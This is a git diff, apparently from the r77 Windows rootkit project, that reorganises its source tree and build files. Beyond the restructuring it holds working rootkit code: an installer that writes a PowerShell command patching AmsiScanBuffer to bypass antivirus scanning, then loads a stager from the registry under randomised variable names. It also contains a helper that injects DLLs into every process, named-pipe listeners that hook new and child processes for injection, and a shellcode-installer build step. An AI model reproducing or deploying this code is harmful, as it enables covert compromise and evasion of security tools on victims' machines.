diff --git a/Docs/Documentation.docx b/$Docs/Documentation.docx similarity index 100% rename from Docs/Documentation.docx rename to $Docs/Documentation.docx diff --git a/Docs/Removed.cpp b/$Docs/Removed.cpp similarity index 100% rename from Docs/Removed.cpp rename to $Docs/Removed.cpp diff --git a/Examples/ControlPipe.cpp b/$Examples/ControlPipe.cpp similarity index 100% rename from Examples/ControlPipe.cpp rename to $Examples/ControlPipe.cpp diff --git a/Examples/InstallShellCode.cpp b/$Examples/InstallShellCode.cpp similarity index 100% rename from Examples/InstallShellCode.cpp rename to $Examples/InstallShellCode.cpp diff --git a/Examples/InstallShellCode.cs b/$Examples/InstallShellCode.cs similarity index 100% rename from Examples/InstallShellCode.cs rename to $Examples/InstallShellCode.cs diff --git a/.gitignore b/.gitignore index 2968673..7d0c3fb 100644 --- a/.gitignore +++ b/.gitignore @@ -17,8 +17,8 @@ TestResults/ *~*.docx $Build/ -vs/Install/Resources/ -vs/InstallStager/Resources/ -vs/InstallService32/Resources/ -vs/InstallService64/Resources/ -vs/Uninstall/Resources/ \ No newline at end of file +Install/Resources/ +Stager/Resources/ +Service32/Resources/ +Service64/Resources/ +Uninstall/Resources/ \ No newline at end of file diff --git a/vs/BuildTask/BuildTask.cs b/BuildTask/BuildTask.cs similarity index 88% rename from vs/BuildTask/BuildTask.cs rename to BuildTask/BuildTask.cs index f1b69f2..7be21e2 100644 --- a/vs/BuildTask/BuildTask.cs +++ b/BuildTask/BuildTask.cs @@ -29,7 +29,7 @@ public static int Main(string[] args) { if (!Directory.Exists(args[1])) return 1; - return CreateShellCodeInstaller(new DirectoryInfo(args[1]).Parent.FullName) ? 0 : 1; + return CreateShellCodeInstaller(args[1]) ? 0 : 1; } else { @@ -86,14 +86,18 @@ private static byte[] R77Signature(byte[] file, ushort signature) } private static bool CreateShellCodeInstaller(string solutionDir) { - Directory.CreateDirectory(Path.Combine(solutionDir, @"src\InstallShellcode\bin")); + Directory.CreateDirectory(Path.Combine(solutionDir, @"InstallShellcode\bin")); - string shellCodePath = Path.Combine(solutionDir, @"src\InstallShellcode\bin\InstallShellcode.exe"); - if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"src\InstallShellcode\InstallShellcode.asm"), shellCodePath)) + string shellCodeExePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.exe"); + string shellCodePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.shellcode"); + + if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"InstallShellcode\InstallShellcode.asm"), shellCodeExePath)) { + byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodeExePath)); + File.WriteAllBytes(shellCodePath, shellCode); + using (FileStream file = File.Create(Path.Combine(solutionDir, @"$Build\Install.shellcode"))) { - byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodePath)); file.Write(shellCode, 0, shellCode.Length); byte[] installer = File.ReadAllBytes(Path.Combine(solutionDir, @"$Build\Install.exe")); diff --git a/vs/BuildTask/BuildTask.csproj b/BuildTask/BuildTask.csproj similarity index 97% rename from vs/BuildTask/BuildTask.csproj rename to BuildTask/BuildTask.csproj index 5cad6a6..9786bc3 100644 --- a/vs/BuildTask/BuildTask.csproj +++ b/BuildTask/BuildTask.csproj @@ -38,7 +38,7 @@ - + Properties\GlobalAssemblyInfo.cs diff --git a/vs/Example/App.xaml b/Example/App.xaml similarity index 100% rename from vs/Example/App.xaml rename to Example/App.xaml diff --git a/vs/Example/App.xaml.cs b/Example/App.xaml.cs similarity index 100% rename from vs/Example/App.xaml.cs rename to Example/App.xaml.cs diff --git a/vs/Example/CpuUsage.cs b/Example/CpuUsage.cs similarity index 100% rename from vs/Example/CpuUsage.cs rename to Example/CpuUsage.cs diff --git a/vs/Example/Example.csproj b/Example/Example.csproj similarity index 94% rename from vs/Example/Example.csproj rename to Example/Example.csproj index d8718a6..0ce877a 100644 --- a/vs/Example/Example.csproj +++ b/Example/Example.csproj @@ -59,14 +59,14 @@ MSBuild:Compile Designer + + Properties\GlobalAssemblyInfo.cs + MSBuild:Compile Designer - - Properties\GlobalAssemblyInfo.cs - App.xaml Code @@ -94,7 +94,7 @@ - mkdir "$(SolutionDir)..\$Build" -echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)..\$Build\$77-Example.exe" + mkdir "$(SolutionDir)$Build" +echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)$Build\$77-Example.exe" \ No newline at end of file diff --git a/vs/Example/Example.ico b/Example/Example.ico similarity index 100% rename from vs/Example/Example.ico rename to Example/Example.ico diff --git a/vs/Example/MainWindow.xaml b/Example/MainWindow.xaml similarity index 100% rename from vs/Example/MainWindow.xaml rename to Example/MainWindow.xaml diff --git a/vs/Example/MainWindow.xaml.cs b/Example/MainWindow.xaml.cs similarity index 100% rename from vs/Example/MainWindow.xaml.cs rename to Example/MainWindow.xaml.cs diff --git a/vs/Example/Properties/AssemblyInfo.cs b/Example/Properties/AssemblyInfo.cs similarity index 100% rename from vs/Example/Properties/AssemblyInfo.cs rename to Example/Properties/AssemblyInfo.cs diff --git a/vs/Example/Resources/Example32.png b/Example/Resources/Example32.png similarity index 100% rename from vs/Example/Resources/Example32.png rename to Example/Resources/Example32.png diff --git a/vs/Example/Resources/Help16.png b/Example/Resources/Help16.png similarity index 100% rename from vs/Example/Resources/Help16.png rename to Example/Resources/Help16.png diff --git a/vs/Example/Resources/Warning16.png b/Example/Resources/Warning16.png similarity index 100% rename from vs/Example/Resources/Warning16.png rename to Example/Resources/Warning16.png diff --git a/vs/Example/app.manifest b/Example/app.manifest similarity index 100% rename from vs/Example/app.manifest rename to Example/app.manifest diff --git a/src/GlobalAssemblyInfo.cs b/Global/GlobalAssemblyInfo.cs similarity index 98% rename from src/GlobalAssemblyInfo.cs rename to Global/GlobalAssemblyInfo.cs index 6920bcf..e91f586 100644 --- a/src/GlobalAssemblyInfo.cs +++ b/Global/GlobalAssemblyInfo.cs @@ -6,7 +6,7 @@ namespace Global { - // These constants must match the preprocessor definitions in r77api.h + // These constants must match the preprocessor definitions in r77def.h public static class Config { public const string HidePrefix = "$77"; diff --git a/src/Helper/Helper.cpp b/Helper/Helper.c similarity index 82% rename from src/Helper/Helper.cpp rename to Helper/Helper.c index bfef9ee..905f996 100644 --- a/src/Helper/Helper.cpp +++ b/Helper/Helper.c @@ -1,8 +1,16 @@ #include "Helper.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "r77def.h" +#include "r77win.h" +#include "r77config.h" +#include "r77process.h" +#include +#include +#include +#include + +int CALLBACK WinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE previousInstance, _In_ LPSTR commandLine, _In_ int cmdShow) { - InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE); + EnabledDebugPrivilege(); int argCount; LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &argCount); @@ -10,24 +18,24 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma if (argCount == 1) { - MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", sizeof(LPVOID) == 4 ? L"Helper32.exe" : L"Helper64.exe", MB_ICONASTERISK | MB_OK); + MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", COALESCE_BITNESS(L"Helper32.exe", L"Helper64.exe"), MB_ICONASTERISK | MB_OK); return 1; } // Helper32|64.exe -config - else if (argCount == 2 && !lstrcmpiW(args[1], L"-config")) + else if (argCount == 2 && !StrCmpIW(args[1], L"-config")) { return CreateConfig(); } // Helper32|64.exe -list - else if (argCount == 2 && !lstrcmpiW(args[1], L"-list")) + else if (argCount == 2 && !StrCmpIW(args[1], L"-list")) { return ProcessList(); } // All processes: Helper32|64.exe -inject -all "C:\path\to\r77-*.dll" // Specific PID: Helper32|64.exe -inject 1234 "C:\path\to\r77-*.dll" - else if (argCount == 4 && !lstrcmpiW(args[1], L"-inject")) + else if (argCount == 4 && !StrCmpIW(args[1], L"-inject")) { - if (!lstrcmpiW(args[2], L"-all")) + if (!StrCmpIW(args[2], L"-all")) { return Inject(-1, args[3]); } @@ -39,9 +47,9 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma } // All processes: Helper32|64.exe -detach -all // Specific PID: Helper32|64.exe -detach 1234 - else if (argCount == 3 && !lstrcmpiW(args[1], L"-detach")) + else if (argCount == 3 && !StrCmpIW(args[1], L"-detach")) { - if (!lstrcmpiW(args[2], L"-all")) + if (!StrCmpIW(args[2], L"-all")) { return Detach(-1); } @@ -67,15 +75,15 @@ int ProcessList() // - or that it's the r77 service, // - or that it's an r77 helper file. - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; + PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000); DWORD r77ProcessCount = 1000; if (!GetR77Processes(r77Processes, &r77ProcessCount)) r77ProcessCount = 0; - HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); + HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) return 1; PROCESSENTRY32W processEntry; - processEntry.dwSize = sizeof(processEntry); + processEntry.dwSize = sizeof(PROCESSENTRY32W); WCHAR fileName[MAX_PATH + 1]; WCHAR userName[256]; @@ -172,7 +180,7 @@ int Inject(DWORD processId, LPCWSTR dllPath) if (processId == -1) { // Inject all processes - LPDWORD processes = new DWORD[10000]; + LPDWORD processes = NEW_ARRAY(DWORD, 10000); DWORD processCount = 0; if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount)) { @@ -207,6 +215,6 @@ int Detach(DWORD processId) else { // Detach from specific process - return DetachInjectedProcess(processId) ? 0 : 1; + return DetachInjectedProcessById(processId) ? 0 : 1; } } \ No newline at end of file diff --git a/src/Helper/Helper.h b/Helper/Helper.h similarity index 94% rename from src/Helper/Helper.h rename to Helper/Helper.h index ae8ff37..7fd1800 100644 --- a/src/Helper/Helper.h +++ b/Helper/Helper.h @@ -1,7 +1,4 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include +#include "r77mindef.h" /// /// Helper32.exe and Helper64.exe are used by TestConsole.exe to retrieve a process list. diff --git a/Helper/Helper.vcxitems b/Helper/Helper.vcxitems new file mode 100644 index 0000000..2759bf4 --- /dev/null +++ b/Helper/Helper.vcxitems @@ -0,0 +1,22 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {e6543f7a-4e58-4c55-975e-ed975481ebe8} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + \ No newline at end of file diff --git a/vs/Helper32/Helper32.vcxproj b/Helper32/Helper32.vcxproj similarity index 78% rename from vs/Helper32/Helper32.vcxproj rename to Helper32/Helper32.vcxproj index 471c024..e4e4e26 100644 --- a/vs/Helper32/Helper32.vcxproj +++ b/Helper32/Helper32.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,31 @@ true + false false + false Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDLL + CompileAsC + false - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - - - - - - - diff --git a/Helper32/Helper32.vcxproj.filters b/Helper32/Helper32.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/Helper32/Helper32.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/vs/Helper64/Helper64.vcxproj b/Helper64/Helper64.vcxproj similarity index 78% rename from vs/Helper64/Helper64.vcxproj rename to Helper64/Helper64.vcxproj index 12a105f..d443d31 100644 --- a/vs/Helper64/Helper64.vcxproj +++ b/Helper64/Helper64.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,8 @@ + + @@ -45,26 +47,31 @@ true + false false + false Level3 - true + false _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false - Console + Windows true + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" @@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" - - - - - - - - - diff --git a/Helper64/Helper64.vcxproj.filters b/Helper64/Helper64.vcxproj.filters new file mode 100644 index 0000000..9cd8510 --- /dev/null +++ b/Helper64/Helper64.vcxproj.filters @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/src/Install/Install.cpp b/Install/Install.c similarity index 84% rename from src/Install/Install.cpp rename to Install/Install.c index 601f376..054443e 100644 --- a/src/Install/Install.cpp +++ b/Install/Install.c @@ -1,13 +1,18 @@ #include "Install.h" - -int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow) +#include "resource.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include +#include +#include + +int main() { - InitializeApi(INITIALIZE_API_SRAND); - // Get stager executable from resources. LPBYTE stager; DWORD stagerSize; - if (!GetResource(IDR_INSTALLSTAGER, "EXE", &stager, &stagerSize)) return 0; + if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0; // Write stager executable to registry. // This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell. @@ -53,19 +58,19 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) { // Powershell inline command to be invoked using powershell.exe "..." - PWCHAR command = new WCHAR[4096]; - lstrcpyW(command, L"\""); + PWCHAR command = NEW_ARRAY(WCHAR, 4096); + StrCpyW(command, L"\""); // AMSI bypass: - // [Reflection.Assembly]::Load triggers AMSI and the byte[] with InstallStager.exe is passed to AV for analysis. + // [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis. // AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI. // AMSI is only supported on Windows 10. - if (IsWindows10OrGreater()) + if (IsWindows10OrGreater2()) { // Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load. // Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk. - lstrcatW + StrCatW ( command, // Function to create a Delegate from an IntPtr @@ -112,21 +117,21 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) { // b8 57 00 07 80 mov eax, 0x80070057 // c3 ret - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);"); } else { // b8 57 00 07 80 mov eax, 0x80070057 // c2 18 00 ret 0x18 - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);"); } // VirtualProtect PAGE_EXECUTE_READ - lstrcatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);"); + StrCatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);"); } - // Load InstallStager.exe from registry and invoke - lstrcatW + // Load Stager.exe from registry and invoke + StrCatW ( command, L"[Reflection.Assembly]::Load" @@ -139,7 +144,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) L".Invoke($Null,$Null)" ); - lstrcatW(command, L"\""); + StrCatW(command, L"\""); // Obfuscate all variable names with random strings. ObfuscateString(command, L"Get-Delegate"); @@ -162,17 +167,13 @@ LPWSTR GetPowershellCommand(BOOL is64Bit) VOID ObfuscateString(LPWSTR str, LPCWSTR name) { DWORD length = lstrlenW(name); + WCHAR newName[100]; - LPWSTR newName = new WCHAR[length]; - for (DWORD i = 0; i < length; i++) - { - newName[i] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[rand() * 52 / RAND_MAX]; - } - - for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);) + if (GetRandomString(newName, length)) { - wmemcpy(ocurrence, newName, length); + for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);) + { + libc_wmemcpy(ocurrence, newName, length); + } } - - delete[] newName; } \ No newline at end of file diff --git a/src/Install/Install.h b/Install/Install.h similarity index 85% rename from src/Install/Install.h rename to Install/Install.h index cd5a1dc..920b1e7 100644 --- a/src/Install/Install.h +++ b/Install/Install.h @@ -1,7 +1,5 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/Install/resource.h" +#define CUSTOM_ENTRY +#include "r77mindef.h" /// /// Creates the powershell startup command. diff --git a/vs/Install/Install.vcxproj b/Install/Install.vcxproj similarity index 78% rename from vs/Install/Install.vcxproj rename to Install/Install.vcxproj index 509647c..df39592 100644 --- a/vs/Install/Install.vcxproj +++ b/Install/Install.vcxproj @@ -21,13 +21,13 @@ Application true - v142 + v143 Unicode Application false - v142 + v143 true Unicode @@ -35,6 +35,7 @@ + @@ -52,20 +53,26 @@ Level3 - true + false WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDebug + CompileAsC + false + Default - Console + Windows true RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" @@ -77,22 +84,29 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" Level3 true true - true + false WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded + CompileAsC + false + MinSpace + Size - Console + Windows true true false RequireAdministrator + ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies) + true + EntryPoint "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper -mkdir "$(SolutionDir)..\$Build" -xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" +mkdir "$(SolutionDir)$Build" +xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build" "$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\" @@ -100,23 +114,20 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build" - - + + - - - - + - + - + - + diff --git a/vs/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters similarity index 66% rename from vs/Install/Install.vcxproj.filters rename to Install/Install.vcxproj.filters index 0a2a71c..28a1272 100644 --- a/vs/Install/Install.vcxproj.filters +++ b/Install/Install.vcxproj.filters @@ -1,24 +1,13 @@  - - - - {812009c3-0b86-4444-9ce5-09208fb015db} - - - - - - - Resources - + @@ -26,4 +15,12 @@ + + + + + + Resources + + \ No newline at end of file diff --git a/vs/InstallService64/Resource.rc b/Install/Resource.rc similarity index 94% rename from vs/InstallService64/Resource.rc rename to Install/Resource.rc index 91f6a27..0e42d09 100644 --- a/vs/InstallService64/Resource.rc +++ b/Install/Resource.rc @@ -47,10 +47,10 @@ END ///////////////////////////////////////////////////////////////////////////// // -// DLL +// EXE // -IDR_R77 DLL "Resources\\r77.dll" +IDR_STAGER EXE "Resources\\Stager.exe" #endif // English (United States) resources ///////////////////////////////////////////////////////////////////////////// diff --git a/vs/Install/Resources/.gitkeep b/Install/Resources/.gitkeep similarity index 100% rename from vs/Install/Resources/.gitkeep rename to Install/Resources/.gitkeep diff --git a/vs/Install/app.manifest b/Install/app.manifest similarity index 96% rename from vs/Install/app.manifest rename to Install/app.manifest index edc45d4..b6a0996 100644 --- a/vs/Install/app.manifest +++ b/Install/app.manifest @@ -1,4 +1,4 @@ - + diff --git a/vs/Install/resource.h b/Install/resource.h similarity index 89% rename from vs/Install/resource.h rename to Install/resource.h index 27ac810..e6ca2cd 100644 --- a/vs/Install/resource.h +++ b/Install/resource.h @@ -2,7 +2,7 @@ // Microsoft Visual C++ generated include file. // Used by Resource.rc // -#define IDR_INSTALLSTAGER 101 +#define IDR_STAGER 101 // Next default values for new objects // diff --git a/src/InstallShellcode/InstallShellcode.asm b/InstallShellcode/InstallShellcode.asm similarity index 100% rename from src/InstallShellcode/InstallShellcode.asm rename to InstallShellcode/InstallShellcode.asm diff --git a/InstallShellcode/InstallShellcode.vcxitems b/InstallShellcode/InstallShellcode.vcxitems new file mode 100644 index 0000000..bad4681 --- /dev/null +++ b/InstallShellcode/InstallShellcode.vcxitems @@ -0,0 +1,23 @@ + + + + $(MSBuildAllProjects);$(MSBuildThisFileFullPath) + true + {deab25fd-2042-4bd6-bf4b-0802dccc70f5} + + + + %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory) + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/InstallShellcode/PebApi.asm b/InstallShellcode/PebApi.asm similarity index 100% rename from src/InstallShellcode/PebApi.asm rename to InstallShellcode/PebApi.asm diff --git a/src/InstallShellcode/PebApi.inc b/InstallShellcode/PebApi.inc similarity index 100% rename from src/InstallShellcode/PebApi.inc rename to InstallShellcode/PebApi.inc diff --git a/src/InstallShellcode/RunPE.asm b/InstallShellcode/RunPE.asm similarity index 100% rename from src/InstallShellcode/RunPE.asm rename to InstallShellcode/RunPE.asm diff --git a/src/InstallShellcode/nt.inc b/InstallShellcode/nt.inc similarity index 100% rename from src/InstallShellcode/nt.inc rename to InstallShellcode/nt.inc diff --git a/Service/ControlPipeListener.c b/Service/ControlPipeListener.c new file mode 100644 index 0000000..b8c448a --- /dev/null +++ b/Service/ControlPipeListener.c @@ -0,0 +1,37 @@ +#include "ControlPipeListener.h" +#include "r77def.h" +#include "r77win.h" + +VOID ControlPipeListener(CONTROLCALLBACK callback) +{ + CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL); +} +DWORD WINAPI ControlPipeListenerThread(LPVOID parameter) +{ + while (TRUE) + { + HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CONTROL_PIPE_NAME, CONTROL_PIPE_REDIRECT64_NAME)); + while (pipe != INVALID_HANDLE_VALUE) + { + if (ConnectNamedPipe(pipe, NULL)) + { + DWORD controlCode; + DWORD bytesRead; + if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD)) + { + ((CONTROLCALLBACK)parameter)(controlCode, pipe); + } + } + else + { + Sleep(1); + } + + DisconnectNamedPipe(pipe); + } + + Sleep(1); + } + + return 0; +} \ No newline at end of file diff --git a/Service/ControlPipeListener.h b/Service/ControlPipeListener.h new file mode 100644 index 0000000..fefbf17 --- /dev/null +++ b/Service/ControlPipeListener.h @@ -0,0 +1,17 @@ +#include "r77mindef.h" +#ifndef _CONTROLPIPELISTENER_H +#define _CONTROLPIPELISTENER_H + +/// +/// A callback that notifies the r77 service about a command. +/// +typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe); + +/// +/// Creates a new listener for the control pipe that receives commands from any process. +/// +/// The function that is called, when a command is received by another process. +VOID ControlPipeListener(CONTROLCALLBACK callback); +static DWORD WINAPI ControlPipeListenerThread(LPVOID parameter); + +#endif \ No newline at end of file diff --git a/Service/ProcessListener.c b/Service/ProcessListener.c new file mode 100644 index 0000000..1942dd5 --- /dev/null +++ b/Service/ProcessListener.c @@ -0,0 +1,95 @@ +#include "ProcessListener.h" +#include "r77def.h" +#include "r77win.h" +#include "r77runtime.h" +#include + +VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback) +{ + PNEW_PROCESS_LISTENER notifier = NEW(NEW_PROCESS_LISTENER); + notifier->Interval = interval; + notifier->Callback = callback; + + CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL); +} +static DWORD WINAPI NewProcessListenerThread(LPVOID parameter) +{ + PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter; + + LPDWORD currendProcesses = NEW_ARRAY(DWORD, 10000); + LPDWORD previousProcesses = NEW_ARRAY(DWORD, 10000); + DWORD currendProcessCount = 0; + DWORD previousProcessCount = 0; + + while (TRUE) + { + if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount)) + { + currendProcessCount /= sizeof(DWORD); + + for (DWORD i = 0; i < currendProcessCount; i++) + { + // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes. + BOOL isNew = TRUE; + + for (DWORD j = 0; j < previousProcessCount; j++) + { + if (currendProcesses[i] == previousProcesses[j]) + { + isNew = FALSE; + break; + } + } + + if (isNew) notifier->Callback(currendProcesses[i]); + } + + libc_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); + previousProcessCount = currendProcessCount; + } + + Sleep(notifier->Interval); + } + + return 0; +} + +VOID ChildProcessListener(PROCESSIDCALLBACK callback) +{ + CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL); +} +static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter) +{ + while (TRUE) + { + HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CHILD_PROCESS_PIPE_NAME32, CHILD_PROCESS_PIPE_NAME64)); + while (pipe != INVALID_HANDLE_VALUE) + { + if (ConnectNamedPipe(pipe, NULL)) + { + DWORD processId; + DWORD bytesRead; + if (ReadFile(pipe, &processId, 4, &bytesRead, NULL)) + { + // Invoke the callback. The callback should inject r77 into the process. + ((PROCESSIDCALLBACK)parameter)(processId); + + // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called. + BYTE returnValue = 77; + DWORD bytesWritten; + WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL); + } + } + else + { + Sleep(1); + } + + DisconnectNamedPipe(pipe); + } + + Sleep(1); + } + + return 0; +} \ No newline at end of file diff --git a/Service/ProcessListener.h b/Service/ProcessListener.h new file mode 100644 index 0000000..a897143 --- /dev/null +++ b/Service/ProcessListener.h @@ -0,0 +1,43 @@ +#include "r77mindef.h" +#ifndef _PROCESSLISTENER_H +#define _PROCESSLISTENER_H + +/// +/// A callback that notifies about a process ID. +/// +typedef VOID(*PROCESSIDCALLBACK)(DWORD processId); + +/// +/// Defines a listener, that checks for new processes in a given interval. +/// +typedef struct _NEW_PROCESS_LISTENER +{ + /// + /// The interval, in milliseconds, between each enumeration of running processes. + /// + DWORD Interval; + /// + /// The function that is called, when a process is found that was not present in the previous enumeration. + /// + PROCESSIDCALLBACK Callback; +} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER; + +/// +/// Creates a new process listener, that checks for new processes in a given interval. +/// +/// The interval, in milliseconds, between each enumeration of running processes. +/// The function that is called, when a process is found that was not present in the previous enumeration. +/// +/// A pointer to the newly created NEW_PROCESS_LISTENER structure. +/// +VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback); +static DWORD WINAPI NewProcessListenerThread(LPVOID parameter); + +/// +/// Creates a named pipe that listens for notifications about created child processes. +/// +/// The function that is called, when the named pipe received a process ID. 